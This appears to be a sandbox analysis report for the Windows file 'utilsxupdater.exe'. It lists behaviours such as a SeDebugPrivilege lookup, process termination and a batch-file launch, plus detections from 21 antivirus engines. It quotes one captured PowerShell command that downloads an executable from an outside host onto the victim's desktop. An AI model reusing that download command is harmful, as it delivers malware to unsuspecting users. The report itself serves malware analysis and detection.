
Creates a suspicious process (1 event)

cmdline

powershell Invoke-Webrequest -URI "https://vfileserver.luiswilfredowil.repl.co/utilsx.exe" -OutFile "C:/Users/test22/Desktop/utilsx/utilsx.exe"

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 4, 2023, 8:57 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess Aug. 4, 2023, 8:57 a.m.	status_code: 0xffffffff process_identifier: 2100 process_handle: 0x00000000000000b4		0	0
NtTerminateProcess Aug. 4, 2023, 8:57 a.m.	status_code: 0xffffffff process_identifier: 2100 process_handle: 0x00000000000000b4		-1073741558	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Windows\system32\cmd" /c "C:\Users\test22\AppData\Local\Temp\BF92.tmp\BFA2.tmp\BFA3.bat C:\Users\test22\AppData\Local\Temp\utilsxupdater.exe"

File has been identified by 21 AntiVirus engines on VirusTotal as malicious (21 events)

Elastic	malicious (high confidence)
FireEye	Generic.mg.96c30f7179f2d704
McAfee	Artemis!96C30F7179F2
Cylance	unsafe
Sangfor	Trojan.Win32.Save.a
Symantec	ML.Attribute.HighConfidence
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	UDS:DangerousObject.Multi.Generic
McAfee-GW-Edition	BehavesLike.Win64.RealProtect.ch
Trapmine	suspicious.low.ml.score
Sophos	Generic ML PUA (PUA)
SentinelOne	Static AI - Suspicious PE
Microsoft	Trojan:Win32/Wacatac.B!ml
ZoneAlarm	UDS:DangerousObject.Multi.Generic
Google	Detected
Malwarebytes	Generic.Malware.AI.DDS
Ikarus	Trojan.BAT.Agent
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	W32/PossibleThreat
DeepInstinct	MALICIOUS

utilsxupdater.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All